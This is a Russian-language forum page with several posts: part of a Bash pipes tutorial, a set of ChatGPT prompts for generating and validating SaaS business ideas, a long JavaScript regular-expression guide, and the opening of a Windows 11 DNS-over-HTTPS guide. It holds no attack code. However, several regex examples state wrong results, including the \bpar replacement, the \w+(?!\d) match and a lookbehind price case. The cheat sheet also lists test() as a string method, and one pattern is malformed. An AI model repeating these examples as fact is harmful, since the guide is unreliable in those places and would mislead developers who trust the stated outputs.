    cmd | tail -5               # последние 5 строк
    
    # wc — подсчёт
    cmd | wc -l                 # строк
    cmd | wc -w                 # слов
    cmd | wc -c                 # символов
    
    # tee — дублировать вывод
    cmd | tee file.txt          # в консоль И в файл
    
    # xargs — передать как аргументы
    cmd | xargs rm              # rm для каждого результата
    cmd | xargs -n 5            # по 5 элементов за раз
    cmd | xargs -P 4            # параллельно в 4 процесса
    

    Bash скелет для надёжного скрипта

    #!/bin/bash
    set -euo pipefail  # выход при ошибке, undefined vars, pipe ошибки
    
    # Функция с пайпом
    process_data() {
      local input_file="$1"
      
      cat "$input_file" | \
        grep "pattern" | \
        awk '{print $1}' | \
        sort | \
        uniq -c | \
        sort -rn
    }
    
    # Использование
    if output=$(process_data "data.txt"); then
      echo "$output" | head -10
    else
      echo "Ошибка обработки" >&2
      exit 1
    fi
    

    Отладка пайпов

    # Показать все команды перед выполнением
    set -x
    cmd1 | cmd2 | cmd3
    set +x
    
    # Проверить каждый этап
    cmd1 > /tmp/step1.txt
    cat /tmp/step1.txt | cmd2 > /tmp/step2.txt
    cat /tmp/step2.txt | cmd3
    
    # Или с tee:
    cmd1 | tee /tmp/step1.txt | cmd2 | tee /tmp/step2.txt | cmd3
    
    # Подробная информация
    cmd 2>&1 | tee debug.log
    less debug.log
    

    Примеры для реальных задач

    Анализ лог-файлов

    # Топ ошибок за день
    grep "ERROR" /var/log/app.log | \
      awk '{print $NF}' | \
      sort | uniq -c | \
      sort -rn | head -10
    
    # Статистика по IP адресам
    cat /var/log/nginx/access.log | \
      awk '{print $1}' | \
      sort | uniq -c | \
      sort -rn | head -20
    

    Управление файлами

    # Найти и удалить все .tmp файлы старше 7 дней
    find /tmp -name "*.tmp" -mtime +7 | xargs rm -f
    
    # Архивировать логи старше 30 дней
    find /var/log -name "*.log" -mtime +30 | \
      xargs -I {} gzip {}
    
    # Скопировать структуру директорий
    find source -type d | \
      sed 's/^source/dest/' | \
      xargs mkdir -p
    

    Обработка данных

    # CSV в JSON (простой пример)
    { IFS=, read -r header; \
      while IFS=, read -r col1 col2 col3; do \
        echo "{\"col1\":\"$col1\",\"col2\":\"$col2\",\"col3\":\"$col3\"}"
      done; \
    } < data.csv
    
    # Парсинг конфиг файлов
    grep -v "^#" config.conf | \
      grep -v "^$" | \
      awk -F= '{gsub(/ /, "", $1); print $1 "=" $2}'
    

    Итоги

    Пайпы — это основа Unix философии:

    1. Простота — каждая команда делает одно
    2. Мощь — комбинирование создаёт сложные операции
    3. Эффективность — прямая передача данных через память
    4. Читаемость — логика цепочки видна в одной строке

    Помните:

    • Пайп передаёт stdout → stdin
    • xargs передаёт данные как аргументы
    • set -o pipefail для надёжности скриптов
    • Проверяйте буферизацию при медленных процессах
    • Экранируйте спецсимволы и пробелы в файлах

    0 0 1 Ответить
  • kirilljsxK
    kirilljsx
    Генерация бизнес‑идей с ChatGPT и не только: готовые промпты

    В этом посте собрана практическая подборка англоязычных промптов, с помощью которых можно пройти путь от нулевой идеи до стратегии, PRD и даже прототипа SaaS‑продукта.

    Их можно использовать как по отдельности, так и как цельный конвейер: исследование ниши → генерация идей → оценка → стратегия → валидация → PRD → прототип.


    1. Исследование ниши и первые 10 идей

    Первый промпт помогает за один заход получить 10 продуктовых идей, которые завязаны именно на вашу нишу и ваш личный опыт. В ответе ИИ не только придумывает идеи, но и объясняет, почему они подходят именно вам и как их можно монетизировать.

    Промпт:

    You   are   a   product   strategist,   visionary,   and   startup   architect   with   deep   empathy.

    Your   task:   generate   10   product   ideas   in   the   niche   →   " { <вставьте описание ниши> } "

    that   real   users   will   love,   pay   for,   and   that   can   reach   1   billion   RUB/year.

    I   will   supply   my   background   as   " {<вставьте краткую информацию о себе>} ".   Your   output   must:

    1. List   10   product   ideas   (with   names).
    2. Explain   why   each   fits   me.
    3. Highlight   each   product’s   unique   “emotional   glue.”
    4. Propose   an   MVP   and   how   to   start.
    5. Give   sample   monetization   paths.

    Ask   any   clarifying   questions   you   need.

    Important:   No   abstract   “tools”—propose   experiences,   rituals,   or   formats   that   resonate.

    Рекомендация: вставляй максимально конкретное описание ниши и свой реальный бэкграунд - это сильно повышает качество идей.


    2. 20 разных SaaS‑идей для одной ЦА

    Второй промпт заточен на генерацию именно софта (SaaS), причём с жёстким требованием: 20 идей должны отличаться по боли, ценностному предложению и бизнес‑модели. Это удобно, когда уже есть понятная целевая аудитория, но хочется шире посмотреть спектр возможных продуктов.

    Промпт:

    Role:   You   are   a   contrarian   digital-product   strategist,   pairing   market   insight   with   wild   imagination.

    Objective:   Produce   exactly   20   software-only   product   ideas   that   could   plausibly   reach   USD   $100   000/month,

    targeting   " {<вставьте   описание   целевой   аудитории   или   рынка>} "

    Originality   rule:   No   two   ideas   may   overlap   in   core   value   proposition,   business   model,   or   pain   point.

    Method   (strictly   in   order):

    1. Draft   List   —   20   short   working   titles   (one   per   line).
    2. Differentiate   &   Amplify
         -   Flag   overlaps,   clichés,   timid   ideas.
         -   Rewrite   flagged   items   to   be   at   least   10%   bolder   and   unmistakably   distinct.
    3. Name   +   Description   Pass
         For   each   final   title,   coin   a   memorable   name,   then   add   a   40–80-word   paragraph   that:
         -   Explains   the   core   user   problem   &   solution.
         -   Hints   at   the   monetization   path   to   $10K/month.
         -   Is   grounded   yet   ambitious.

    Output   format:

    1. ProductName1:   40–80-word   description
      …
    2. ProductName20:   40–80-word   description

    Rules:
    -   No   duplicates   or   umbrella   categories.
    -   Exactly   40–80   words   per   description.
    -   Do   not   add   headers,   commentary,   or   extras—only   the   numbered   list.

    Практический лайфхак: прогоняй этот промпт несколько раз с разными вариациями описания ЦА и сравни результаты.


    3. Быстрая IT‑стартап‑идея через meta‑prompt

    Третий промпт - про «промпт для промпта»: сначала модель задает уточняющие вопросы, а затем отдает идеальный запрос для генерации стартап‑идей. Это удобно, когда хочешь выжать из модели максимум качества, но не уверен, как правильно сформулировать запрос.

    Промпт:

    Hello!   I’m   a   serial   entrepreneur   recording   a   podcast   and   need   an   idea   for   our   next   IT   startup—a   cloud/SaaS   product   for   " {<вставьте описание целевой аудитории>} "

    with   potential   1   billion   RUB/year   revenue,   built   fast   &   cheap.

    Please:

    1. Ask   me   the   essential   clarifying   questions   you   need.
    2. Then   craft   the   ideal   prompt   I   should   use   to   get   your   best   result.

    После этого просто берёшь сгенерированный meta‑prompt и запускаешь отдельный диалог.


    4. Скоринг идей как фокус‑группа из 100 человек

    Когда идей много, их нужно отсортировать по силе боли и готовности платить. Этот промпт симулирует фокус‑группу из 100 представителей целевой аудитории и помогает сделать первичную приоритизацию.

    Промпт:

    Imagine   you   are   a   focus   group   of   100   individuals   representing   →   " {<вставьте описание представителей ЦА>} "

    For   each   startup   idea   I   gave   you   (ideas:   {<вставьте   список   идей   через   точку   с   запятой>}):

    1. Describe   the   top   pains   for   these   100   people.
    2. Survey   each   on   a   1–10   scale   for   willingness   to   pay   to   solve   those   pains.
    3. Output   a   ranked   list   of   ideas   by   descending   average   score,   including   brief   justifications.

    Полезно запускать этот промпт несколько раз с разными описаниями ЦА, чтобы проверить устойчивость оценок.


    5. Превращаем идею в стратегию и 90‑дневный план

    Когда идея выбрана, нужно превратить её в стратегию с понятным роадмапом на ближайшие 90 дней. Этот промпт генерирует вопросы, варианты позиционирования, фич‑сет, бизнес‑модель и риски.

    Промпт:

    Use   model:   ChatGPT   (O3)

    System   /   Role   Instructions:
    You   are   a   founder-level   product   strategist   with   10+   years   launching   &   scaling   startups.
    Tone:   Practical,   data-driven,   optimistic   yet   honest   about   risks/trade-offs.

    User   Context:
    -   Chosen   idea:   " {<вставьте описание выбранной идеи>} "

    Approach:

    1. Clarify   &   Question   (≤8   founder-level   probing   questions).
    2. Multi-Lens   Expansion   (2–3   actionable   options   each):
         -   Customer   &   JTBD:   personas,   pains,   gains,   “day   in   the   life,”   quick   validation.
         -   Value   Proposition   &   Differentiation:   USP   vs.   alternatives;   why   now/why   you.
         -   Feature   Roadmap:   MVP   (Month   0–1),   Delight   (Month   2–3),   Scalable   (Post-PMF).
         -   Business   &   Revenue   Models:   pricing   archetypes   +   rough   CAC   vs.   LTV;   upsells;   P&L   sketch.
         -   Tech   Architecture   &   Build   Plan:   lean   MVP   stack;   v1+   scalable;   compliance   flags.
         -   Go-to-Market   &   Growth   Loops:   channels;   viral/referral   hooks;   partners.
         -   Validation   Experiments   &   Metrics:   3   fast   tests   with   hypothesis,   criteria,   plan.
         -   Risks   &   Mitigations:   top   3–4   risks   +   concrete   mitigations.
    3. Prioritized   90-Day   Roadmap:   weekly/monthly   SMART   goals,   owners,   metrics.
    4. Betting   Questions:   5–7   high-leverage   founder   questions   to   de-risk   before   seed.

    Output   Format:
    -   Markdown   H2/H3   headings.
    -   ≤7   bullets   per   subsection.
    -   3-column   table   comparing   Top   3   Strategic   Paths   by   revenue   potential   &   key   risk/mitigation.
    -   End   with   the   “Betting   Questions”   list.

    Это уже не просто идея, а довольно подробный стратегический документ, близкий к мини‑продуктовой консультации.


    6. Глубокое исследование рынка и валидация стратегии

    Следующий промпт превращает модель в аналитика по рынку и конкурентам. Он опирается на классические фреймворки (Porter, SWOT, PESTEL, JTBD, TAM/SAM/SOM) и помогает проверить гипотезы перед серьёзными вложениями.

    Промпт (фрагмент):

    Prompt   Title:
    “Comprehensive   Market   &   Competitive   Audit   to   Validate   My   Digital   Product   Concept”

    System   /   Role   Instructions:
    You   are   a   senior   market-intelligence   lead   &   strategic   consultant   for   early-stage   ventures.
    -   Evidence-First:   cite   sources;   label   estimates   (“Estimated—Reason+Source”).
    -   Triangulate:   ≥2   data   points   per   assumption;   flag   conflicts   with   rationale.
    -   Frameworks:   Porter’s   Five   Forces,   SWOT,   PESTEL,   JTBD,   TAM/SAM/SOM.
    -   Investor   Lens:   highlight   unit   economics,   payback   period,   churn   benchmarks,   red   flags.

    User   Context:
    {<вставьте сюда вашу стратегию из шага 5>}

    Deep   Research   Modules:
    For   each   of   the   seven   modules   below,   deliver:
    -   Key   Findings   (bullets   +   citations)
    -   Confidence   (High/Medium/Low   +   1-sent.   rationale)
    -   Next   Step   (actionable   founder   task)

    Дальше идут 7 модулей по рынку, конкурентам, white‑space, VoC и экспериментам; каждый заканчивается уровнем уверенности и следующими шагами.


    7. Составление полного PRD по шаблону

    Когда рынок и стратегия понятны, нужен PRD — документ, который свяжет бизнес‑цели, пользователей и фичи. Этот промпт даёт структурированный каркас PRD от персон до лендинга.

    Промпт:

    Below   is   a   concise,   fully   generic   PRD   outline.   Fill   in   each   section   with   your   product’s   details.

    1. Introduction
         -   Purpose   of   this   document
         -   Product   overview
         -   Business   context
    2. User   Personas
         -   Demographics,   goals,   pain   points,   tech   proficiency
    3. Job   to   be   Done   (JTBD)
         -   “When…,   I   want…,   so   that…”   statements
    4. Value   Proposition
         -   Target   audience   statement
         -   Primary   benefits
         -   Key   reasons   to   choose
    5. Product   Requirements
         5.1.   Functional   Requirements
         5.2.   Non-Functional   Requirements
    6. MVP   Description
    7. User   Stories
    8. Card   Scoring
    9. Information   Architecture
    10. User   Flow
    11. Site   Flow
    12. Wireframes
    13. Low-Fidelity   Prototypes
    14. Design   Style
    15. Landing   Page   Structure

    Можно просить модель последовательно раскрывать каждый пункт, подставляя контекст продукта.


    8. Автоматический low‑fi прототип в Lovable

    Финальный шаг — загрузить готовый PRD в сервис Lovable и получить черновой интерактивный прототип. Это помогает быстро увидеть продукт «живьём» и отдать ссылку команде или потенциальным пользователям.

    Промпт‑инструкция:

    1. Перейдите   на   https://lovable.dev/
    2. Зарегистрируйтесь   (или   войдите).
    3. Скопируйте   ваш   PRD   из   шага   7   и   вставьте   в   Lovable.
    4. Нажмите   “Generate   Prototype”   —   получите   интерактивный   черновой   макет.

    Как использовать эту подборку на практике

    • Выбери нишу и ЦА, затем используй промпты 1–4, чтобы получить пул идей и их скоринг.
    • Для выбранной идеи прогоняй промпты 5–6 (стратегия + аудит рынка).
    • Сформируй PRD через промпт 7 и собери low‑fi прототип через Lovable по шагу 8.

    0 0 0 Ответить
  • AladdinA
    Aladdin
    Регулярные выражения в JavaScript: Полный гайд и шпаргалка

    Зачем нужны регулярные выражения?

    Регулярные выражения (regex) — это мощный инструмент для поиска, проверки и преобразования текста по определённым шаблонам. Без них разработчику пришлось бы писать громоздкий код с множеством условий.

    Примеры использования:

    • Валидация email, номеров телефонов, URL
    • Поиск и замена текста по шаблону
    • Парсинг и извлечение данных из строк
    • Обработка лог-файлов
    • Форматирование данных

    Быстрый пример:

    // Без regex — много условий и цикловых конструкций
    // Валидация email вручную — сложно и ненадёжно
    
    // С regex — одна строка
    const isValidEmail = /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email);
    

    Основы: Как создать регулярное выражение

    Два способа создания

    1. Литеральная нотация (предпочтительно для статичных паттернов)

    const pattern = /hello/;
    

    2. Конструктор RegExp (для динамических паттернов)

    const pattern = new RegExp('hello');
    const userPattern = new RegExp(`${userInput}`, 'gi');
    

    Используйте литеральную нотацию, когда паттерн известен заранее — она быстрее. Конструктор нужен, когда паттерн строится динамически из переменных.


    Флаги: Управление поведением

    Флаги добавляются после паттерна и изменяют способ поиска:

    Флаг Описание Пример
    g Global — найти все совпадения, не только первое /cat/g находит все “cat” в строке
    i Ignore case — игнорировать регистр /hello/i найдёт “Hello”, “HELLO”, “hello”
    m Multiline — ^ и $ работают для каждой строки /^start/m найдёт “start” в начале каждой строки
    s Dotall — точка . будет совпадать с переносом строки /a.b/s найдёт “a\nb”
    u Unicode — правильная работа с Unicode символами /\p{L}/u найдёт любую букву
    d Indices — получить позиции совпадений использует свойство indices

    Комбинирование флагов:

    const pattern = /hello/gi; // Глобальный поиск, игнорируя регистр
    const str = 'Hello there, HELLO world';
    console.log(str.match(pattern)); // ['Hello', 'HELLO']
    

    Символы и классы: Что искать

    Простые символы

    /abc/.test('abc');        // true — ищем точную последовательность
    /abc/.test('abcd');       // true — "abc" есть в строке
    /abc/.test('ab c');       // false — нет точной последовательности
    

    Специальные символы (метасимволы)

    Символ Значение Пример
    . Любой символ (кроме переноса строки) /a.c/ совпадает с “abc”, “adc”, но не “a\nc”
    ^ Начало строки /^hello/ только если строка начинается с “hello”
    $ Конец строки /world$/ только если строка заканчивается на “world”
    \ Экранирование специального символа /a\.b/ ищет букв “a”, точку и “b” буквально

    Примеры:

    // Начало и конец строки
    /^hello/.test('hello world');        // true
    /^hello/.test('say hello');          // false
    /world$/.test('hello world');        // true
    
    // Точка — любой символ
    /a.c/.test('abc');                   // true
    /a.c/.test('adc');                   // true
    /a.c/.test('a\nc');                  // false (нужен флаг 's')
    

    Классы символов: [...] — выбор из набора

    Квадратные скобки означают “любой один символ из списка”:

    // Одиночные символы
    /[aeiou]/.test('hello');             // true (буква 'e')
    /[0-9]/.test('abc123');              // true (цифра '1')
    
    // Диапазоны
    /[a-z]/.test('hello');               // true (любая строчная буква)
    /[A-Z]/.test('Hello');               // true (прописная буква)
    /[0-9]/.test('test2');               // true (цифра)
    
    // Инверсия (всё кроме указанного)
    /[^aeiou]/.test('hello');            // true (согласная буква)
    

    Встроенные классы: Сокращения для популярных наборов

    Класс Эквивалент Описание
    \d [0-9] Цифра
    \D [^0-9] Не цифра
    \w [A-Za-z0-9_] Буква, цифра или подчёркивание (word character)
    \W [^A-Za-z0-9_] Не буква/цифра
    \s [ \t\n\r\f] Пробел или табуляция
    \S [^ \t\n\r\f] Не пробел
    \b — Граница слова (между буквой и не-буквой)
    \B — Не граница слова

    Практические примеры:

    // Найти все цифры в строке
    'abc123def456'.match(/\d/g);         // ['1', '2', '3', '4', '5', '6']
    
    // Найти все слова
    'hello world 123'.match(/\w+/g);     // ['hello', 'world', '123']
    
    // Пробелы
    'hello   world'.split(/\s+/);        // ['hello', 'world']
    
    // Только в начале слова
    'par spar apart'.replace(/\bpar/g, 'X'); // 'X spar aX' — заменяет только целые слова
    

    Квантификаторы: Количество повторений

    Квантификаторы указывают, сколько раз должен повториться предыдущий символ или группа:

    Квантификатор Значение Пример
    ? 0 или 1 раз (опционально) /colou?r/ совпадает с “color” и “colour”
    * 0 или больше раз /ab*c/ совпадает с “ac”, “abc”, “abbc”
    + 1 или больше раз /ab+c/ совпадает с “abc”, “abbc”, но не “ac”
    {n} Точно n раз /a{3}/ совпадает только с “aaa”
    {n,} n или больше раз /a{2,}/ совпадает с “aa”, “aaa”, “aaaa”
    {n,m} От n до m раз /a{2,4}/ совпадает с “aa”, “aaa” или “aaaa”

    Примеры:

    // Опциональные символы
    const phonePattern = /\d{3}-?\d{3}-?\d{4}/;
    phonePattern.test('123-456-7890');   // true
    phonePattern.test('1234567890');     // true
    
    // Пароль: минимум 8 символов
    /^.{8,}$/.test('mypass123');         // true
    
    // Телефон США
    /^\(?[0-9]{3}\)?[-. ]?[0-9]{3}[-. ]?[0-9]{4}$/.test('(123) 456-7890'); // true
    
    // Одна или больше цифр
    '123abc456'.match(/\d+/g);           // ['123', '456']
    

    Группы и захват: Выделение части совпадения

    Группы для логики

    // Группа группирует для квантификаторов
    /(ab)+/.test('ababab');              // true
    /(ab)+/.test('abac');                // false
    
    // Или внутри группы
    /(cat|dog)/.test('I have a cat');    // true
    /col(ou)?r/.test('color');           // true
    /col(ou)?r/.test('colour');          // true
    

    Захватывающие группы: Извлечение данных

    Скобки () создают “захватывающую группу” — часть совпадения, которую потом можно использовать:

    // Извлечение частей совпадения
    const email = 'john@example.com';
    const match = email.match(/([a-z]+)@([a-z.]+)/);
    
    console.log(match[0]);  // 'john@example.com' (полное совпадение)
    console.log(match[1]);  // 'john' (первая группа)
    console.log(match[2]);  // 'example.com' (вторая группа)
    
    // В replace — используем группы через $1, $2 и т.д.
    'John Smith'.replace(/(\w+) (\w+)/, '$2, $1'); // 'Smith, John'
    
    // Дата: преобразование из YYYY-MM-DD в DD.MM.YYYY
    '2025-01-15'.replace(/(\d{4})-(\d{2})-(\d{2})/, '$3.$2.$1'); // '15.01.2025'
    

    Неzахватывающие группы: (?:...)

    Когда нужна группа для логики, но не нужно сохранять совпадение:

    // С захватом (создаёт группу 1)
    /(cat|dog) \1/.test('cat cat');      // true (говорит: повторить то же слово)
    
    // Без захвата — просто группировка
    const color = /(red|green|blue)/;
    const result = 'I like green'.match(color);
    console.log(result[1]); // 'green'
    
    // Когда захват не нужен
    /(?:https?|ftp):\/\//.test('https://example.com'); // true
    'files.txt, images.png'.match(/\.(?:txt|png|jpg)/g); // ['.txt', '.png']
    

    Именованные группы: Читаемость кода

    const datePattern = /(?<year>\d{4})-(?<month>\d{2})-(?<day>\d{2})/;
    const date = '2025-01-15';
    const match = date.match(datePattern);
    
    console.log(match.groups.year);  // '2025'
    console.log(match.groups.month); // '01'
    console.log(match.groups.day);   // '15'
    
    // В replace используем $<name>
    '2025-01-15'.replace(datePattern, '$<day>.$<month>.$<year>'); // '15.01.2025'
    

    Backreference: Ссылка на уже найденное

    Backreference \1, \2 и т.д. означают “повтори то же, что нашли в группе 1, 2 и т.д.”:

    // Найти повторяющиеся слова
    /\b(\w+) \1\b/.test('the the');      // true
    /\b(\w+) \1\b/.test('the cat');      // false
    
    // Убрать повторяющиеся слова
    'hello hello world world test'.replace(/\b(\w+) \1+\b/g, '$1');
    // 'hello world test'
    
    // Фигурные скобки: найти две одинаковые цифры подряд
    /(\d)\1/.test('11');                 // true
    /(\d)\1/.test('12');                 // false
    
    // Скобки вокруг одного и того же
    /([([]))\1/.test('(())');            // true
    

    Lookahead и Lookbehind: Условные совпадения

    Lookahead и lookbehind — это “нулевой ширины” проверки. Они проверяют, есть ли что-то дальше или раньше, но не включают это в совпадение.

    Positive lookahead (?=...)

    “Совпадает, если дальше идёт…”

    // Найти цифры, которые идут перед словом "miles"
    '5 miles, 10 kilometers'.match(/\d+(?= miles)/g); // ['5']
    
    // Пароль содержит минимум одну цифру
    /(?=.*\d)/.test('password123');      // true (дальше идут цифры)
    /(?=.*\d)/.test('password');         // false
    
    // Числа перед запятой или концом
    '5, 10, 15'.match(/\d+(?=[,]|$)/g); // ['5', '10', '15']
    

    Negative lookahead (?!...)

    “Совпадает, если дальше НЕ идёт…”

    // Найти "cat", которые НЕ следуют перед цифрой
    'cat, cat1, cat2'.match(/cat(?!\d)/g); // ['cat']
    
    // Слова, не являющиеся числами
    'hello 123 world'.match(/\w+(?!\d)/g); // ['hello', 'world']
    
    // URL без https
    'http://example.com, https://secure.com'.match(/https?:\/\/(?!https)/g);
    

    Positive lookbehind (?<=...)

    “Совпадает, если перед этим идёт…”

    // Цифры, которые идут после доллара
    '$5, €10, $20'.match(/(?<=\$)\d+/g); // ['5', '20']
    
    // Слово, которому предшествует точка
    'Dr. Smith'.match(/(?<=\.)[\w\s]+/);  // [' Smith']
    

    Negative lookbehind (?<!...)

    “Совпадает, если перед этим НЕ идёт…”

    // Слова, которым НЕ предшествует двоеточие
    'name: John, age: 25, city: Moscow'.match(/(?<!:)\s(\w+)/g);
    
    // Цены без валюты
    '$10 free! €20 paid'.match(/(?<!\$)\d+/g); // ['20'] в контексте
    

    Практический пример с lookaround:

    // Валидация пароля: минимум 8 символов, буква и цифра
    const passwordRegex = /^(?=.*[a-zA-Z])(?=.*\d).{8,}$/;
    passwordRegex.test('password1');     // true
    passwordRegex.test('password');      // false (нет цифры)
    passwordRegex.test('pass1');         // false (меньше 8)
    

    Методы работы с regex в JavaScript

    test() — Проверка на совпадение

    Возвращает true или false:

    const pattern = /hello/;
    pattern.test('hello world');         // true
    pattern.test('goodbye world');       // false
    

    match() — Найти все совпадения

    Возвращает массив совпадений или null:

    // Без флага 'g' — только первое совпадение с деталями
    'hello hello hello'.match(/hello/);
    // ['hello', index: 0, groups: undefined, input: 'hello hello hello']
    
    // С флагом 'g' — все совпадения, но без деталей
    'hello hello hello'.match(/hello/g);
    // ['hello', 'hello', 'hello']
    
    // С группами
    'john@example.com jane@test.com'.match(/(\w+)@(\w+)/g);
    // ['john@example.com', 'jane@test.com']
    

    matchAll() — Итератор по всем совпадениям

    const str = 'test1 test2 test3';
    const pattern = /test(\d)/g;
    const matches = Array.from(str.matchAll(pattern));
    
    matches.forEach(match => {
      console.log(match[0]);  // полное совпадение
      console.log(match[1]);  // первая группа
      console.log(match.index); // позиция
    });
    

    search() — Позиция первого совпадения

    Возвращает индекс или -1:

    'hello world'.search(/world/);       // 6
    'hello world'.search(/xyz/);         // -1
    

    replace() — Заменить первое совпадение

    'hello hello'.replace(/hello/, 'hi');        // 'hi hello'
    'hello hello'.replace(/hello/g, 'hi');      // 'hi hi'
    
    // С функцией-обработчиком
    '5 and 10'.replace(/\d+/g, (match) => {
      return parseInt(match) * 2;
    });
    // '10 and 20'
    

    replaceAll() — Заменить все совпадения

    'hello hello'.replaceAll('hello', 'hi');    // 'hi hi'
    // Эквивалент: replace(/hello/g, 'hi')
    

    split() — Разбить строку по паттерну

    // Разделитель
    'a,b;c:d'.split(/[,;:]/);           // ['a', 'b', 'c', 'd']
    
    // С захватывающими группами — включить разделители
    'a1b2c3'.split(/(\d)/);             // ['a', '1', 'b', '2', 'c', '3']
    
    // Множественные пробелы
    'hello    world  test'.split(/\s+/); // ['hello', 'world', 'test']
    

    exec() — Детальный поиск

    Возвращает подробный результат или null:

    const pattern = /(\d{3})-(\d{3})-(\d{4})/;
    const match = pattern.exec('My phone: 555-123-4567');
    
    match[0];    // '555-123-4567' (полное совпадение)
    match[1];    // '555' (первая группа)
    match[2];    // '123'
    match[3];    // '4567'
    match.index; // 10 (где начинается совпадение)
    

    Практические примеры из реальной жизни

    Валидация email

    const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
    emailPattern.test('user@example.com');      // true
    emailPattern.test('invalid.email@');        // false
    

    Валидация телефона

    // Формат: (XXX) XXX-XXXX или XXX-XXX-XXXX
    const phonePattern = /^(\+1)?[-.\s]?\(?[0-9]{3}\)?[-.\s]?[0-9]{3}[-.\s]?[0-9]{4}$/;
    phonePattern.test('(555) 123-4567');       // true
    phonePattern.test('555-123-4567');         // true
    phonePattern.test('+1-555-123-4567');      // true
    

    Извлечение всех URL из текста

    const text = 'Visit https://example.com and http://test.org';
    const urls = text.match(/https?:\/\/[^\s]+/g);
    // ['https://example.com', 'http://test.org']
    

    Парсинг даты и преобразование формата

    // ISO (YYYY-MM-DD) в локальный (DD.MM.YYYY)
    '2025-01-15 2025-12-25'.replace(/(\d{4})-(\d{2})-(\d{2})/g, '$3.$2.$1');
    // '15.01.2025 25.12.2025'
    

    Удаление HTML тегов

    const html = '<p>Hello <b>world</b>!</p>';
    html.replace(/<[^>]*>/g, '');               // 'Hello world!'
    

    Каждое слово с заглавной буквы (Title Case)

    function titleCase(str) {
      return str.replace(/\b\w/g, (match) => match.toUpperCase());
    }
    titleCase('hello world javascript'); // 'Hello World Javascript'
    

    Форматирование цены (добавление разделителей)

    const price = '1000000';
    price.replace(/\B(?=(\d{3})+(?!\d))/g, ' '); // '1 000 000'
    // Или: price.replace(/(\d)(?=(\d{3})+$)/g, '$1 '); // '1 000 000'
    

    Валидация пароля (сложный пример)

    // Минимум 8 символов, минимум одна буква, одна цифра, один спецсимвол
    const passwordPattern = /^(?=.*[a-zA-Z])(?=.*\d)(?=.*[@$!%*?&])[A-Za-z\d@$!%*?&]{8,}$/;
    
    passwordPattern.test('Pass123!');           // true
    passwordPattern.test('password');           // false (нет цифры и спецсимвола)
    passwordPattern.test('Pass1');              // false (меньше 8 символов)
    

    Замена значений в объекте

    const config = 'name=john&age=25&city=moscow';
    config.replace(/([^=&]+)=([^&]*)/g, (match, key, value) => {
      console.log(`${key}: ${value}`);
      return match;
    });
    // name: john
    // age: 25
    // city: moscow
    

    Частые ошибки и как их избежать

    1. Забыли флаг g — заменилось только первое совпадение

    // ❌ Неправильно
    'hello hello'.replace(/hello/, 'hi');       // 'hi hello'
    
    // ✅ Правильно
    'hello hello'.replace(/hello/g, 'hi');      // 'hi hi'
    

    2. Не экранировали спецсимволы

    // ❌ Неправильно — точка совпадает с любым символом
    /a.b/.test('a b');                  // true (нежелательно)
    
    // ✅ Правильно
    /a\.b/.test('a.b');                 // true
    /a\.b/.test('a b');                 // false
    

    3. Забыли ^ и $ — совпадение может быть частью строки

    // ❌ Неправильно
    /^[0-9]+$/.test('abc123def');       // false (но хотели false)
    /[0-9]+/.test('abc123def');         // true (число есть, но не только число)
    
    // ✅ Правильно
    /^\d+$/.test('123');                // true (только цифры)
    /^\d+$/.test('123abc');             // false (есть буквы)
    

    4. Жадные квантификаторы вместо ленивых

    // ❌ Жадное — захватывает слишком много
    '<p>Hello</p> <b>Bold</b>'.match(/<.*>/g);
    // ['<p>Hello</p> <b>Bold</b>'] — одно совпадение вместо двух
    
    // ✅ Ленивое — `?` после квантификатора
    '<p>Hello</p> <b>Bold</b>'.match(/<.*?>/g);
    // ['<p>', '</p>', '<b>', '</b>'] — правильно
    

    5. Забыли экранировать обратный слэш в конструкторе

    // ❌ Неправильно
    new RegExp('\d+');                  // Интерпретируется неправильно
    
    // ✅ Правильно
    new RegExp('\\d+');                 // Экранируем слэш в строке
    // Или просто используйте литеральную нотацию:
    /\d+/;
    

    Шпаргалка: Визуальный справочник

    Краткая таблица символов

    Что нужно Регулярное выражение Пример
    Любой символ . a.c совпадает “abc”, “adc”
    Буква [a-zA-Z] или \p{L} (с флагом u) [a-z] совпадает “a” до “z”
    Цифра \d \d{3} совпадает “123”
    Не цифра \D \D+ совпадает “abc”
    Пробел \s \s+ совпадает " "
    Не пробел \S \S+ совпадает “word”
    Слово \w \w+ совпадает “hello_123”
    Граница слова \b \bhello\b только целое слово
    Начало ^ ^hello только в начале
    Конец $ world$ только в конце

    Квантификаторы (сколько повторений)

    a?      — ноль или один раз
    a*      — ноль или больше
    a+      — один или больше
    a{3}    — ровно 3 раза
    a{2,5}  — от 2 до 5 раз
    a{2,}   — минимум 2 раза
    a??     — ноль или один (ленивый)
    a*?     — ноль или больше (ленивый)
    a+?     — один или больше (ленивый)
    

    Методы String

    str.test(regex)         → true/false
    str.match(regex)        → [совпадения]
    str.search(regex)       → индекс или -1
    str.replace(regex, new) → новая строка
    str.split(regex)        → массив
    str.matchAll(regex)     → итератор
    

    Интерактивные инструменты и отладка

    При разработке сложных regex используйте онлайн-инструменты:

    • regex101.com — визуализация совпадений с объяснениями
    • regexper.com — диаграмма паттерна
    • regexpal.com — простой тестер

    Совет: Стройте regex пошагово. Сначала простой паттерн, потом добавляйте сложность и тестируйте после каждого шага.


    Заключение

    Регулярные выражения — это мощный инструмент, который экономит время и код. Начните с простых паттернов и постепенно усложняйте. Благодаря lookahead, lookaround и группам, можно решать сложные задачи парсинга и валидации в одной строке.

    Помните: лучший regex — это тот, который легко читать. Используйте именованные группы, комментарии в коде и тестируйте на реальных данных.


    0 0 1 Ответить
  • kirilljsxK
    kirilljsx
    Как включить DNS через HTTPS в Windows 11

    a86f243d-7562-4cd2-89cc-f6e181470d32-image.png

    Для повышения конфиденциальности и безопасности в интернете Windows 11 позволяет использовать DNS через HTTPS (DoH) для шифрования DNS-запросов, которые ваш компьютер отправляет во время просмотра веб-страниц или выполнения любых других действий в интернете. Вот как это настроить.

    Зашифрованный DNS обеспечивает большую конфиденциальность и безопасность.

    Каждый раз, когда вы посещаете веб-сайт, используя доменное имя (например, “google.com”), ваш компьютер отправляет запрос на сервер системы доменных имен (DNS) . DNS-сервер принимает доменное имя и находит соответствующий IP-адрес в списке. Он отправляет IP-адрес обратно на ваш компьютер, который затем использует этот адрес для подключения к сайту.

